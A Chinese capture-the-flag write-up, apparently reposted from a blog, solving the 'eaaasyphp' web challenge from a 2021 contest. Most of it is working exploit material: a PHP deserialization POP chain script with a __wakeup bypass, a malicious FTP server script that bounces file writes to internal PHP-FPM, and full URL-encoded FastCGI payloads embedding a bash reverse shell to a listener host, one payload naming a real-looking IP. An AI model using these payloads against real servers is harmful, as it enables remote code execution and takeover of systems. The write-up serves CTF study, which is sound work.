陇原战“疫“2021网络安全大赛 Web eaaasyphp

eaaasyphp


题目给出了源码

读取phpinfo

尝试反序列化读取phpinfo

image-20211225002015701

但是__wakeup()函数先于destruct函数执行,所以需要绕过:__

PHP :: Bug #81151 :: bypass __wakeup

?code=C:4:"Hint":0:{
    
    }

注意这个FPM/FastCGI

image-20211225002224617

打fastcgi

使用Gopherus生成打fastcgi的payload:

image-20211224094357313

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_
PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCR
IPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp
/vps/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

同时还要在自己的vps上起一个恶意的ftp服务

恶意的ftp服务

ftp服务

# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 7008))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

构造pop链

构造pop链触发Bunny类中的file_put_contents

unserialize——>Bypass类的__destruct()函数——>Welcome类的__invoke()函数——>Bunny类的__toString()函数——>调用其file_put_contents()打内网的fpm

(vps自行修改)

<?php

class Check {
    
    
    public static $str1 = false;
    public static $str2 = false;
}


class Esle {
    
    
    public function __wakeup()
    {
    
    
        Check::$str1 = true;
    }
}


class Hint {
    
    

    public function __wakeup(){
    
    
        $this->hint = "no hint";
    }
    //这里可以利用得到phpinfo(),前提是绕过__wakeup(),将O换为C即可绕过
    public function __destruct(){
    
    
        if(!$this->hint){
    
    
            $this->hint = "phpinfo";
            ($this->hint)();
        }
    }
}


class Bunny {
    
    
    //当一个对象被当作字符串对待的时候,会触发这个__toString()魔术方法
    //比如$b = new Bunny();那么 echo $b;  就会调用__toString这个方法
    public function __toString()
    {
    
    
        if (Check::$str2) {
    
    
            if(!$this->data){
    
    
                $this->data = $_REQUEST['data'];
            }
            //写入文件   但是题目把写文件的权限给删掉了,所以这个思路不通
            //可以配合ftp打内网的fpm
            file_put_contents($this->filename, $this->data);
        } else {
    
    
            throw new Error("Error");
        }
    }
}

class Welcome {
    
    
    //当以调用函数的方式,调用一个对象时,__invoke函数会被自动调用
    //比如$a = new Welcome(),那么进行 $a()的时候就会调用__invoke()函数
    //而上述用法可以在Bypass中进行利用
    public function __invoke()
    {
    
    
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {
    
    
    public $aaa;

    public function __destruct()
    {
    
    
        if (Check::$str1) {
    
    
            //另str4为一个Welcome的类对象,调用其__invoke()函数
            ($this->str4)();
        } else {
    
    
            throw new Error("Error");
        }
    }
}

$a = new Bypass();
$a->aaa = new Esle();
$a->str4 = new Welcome();
$a->str4->username = new Bunny();
$a->str4->username->filename = "ftp://aaa@vps:7008/123";
echo urlencode(serialize($a));

/*
if (isset($_GET['code'])) {
    unserialize($_GET['code']);
} else {
    highlight_file(__FILE__);
}*/

打内网的fpm这一点类似于[蓝帽杯2021 one point php]:[蓝帽杯 2021]One Pointer PHP_Sk1y的博客-CSDN博客

payload(vps自行修改)

?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A3%3A%22aaa%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A33%3A%22ftp%3A%2F%2Faaa%40116.62.240.148%3A7008%2F123%22%3B%7D%7D%7D&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vps/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

运行ftp.py,在vps的7008端口开启ftp恶意服务

python3 ftp.py

监听vps的7777端口,

image-20211225001617967

参考链接

  1. PHP :: Bug #81151 :: bypass __wakeup
  2. 陇原战疫2021网络安全大赛 Web_feng的博客-CSDN博客
  3. One Pointer PHP_Sk1y的博客-CSDN博客

猜你喜欢

转载自blog.csdn.net/RABCDXB/article/details/122138270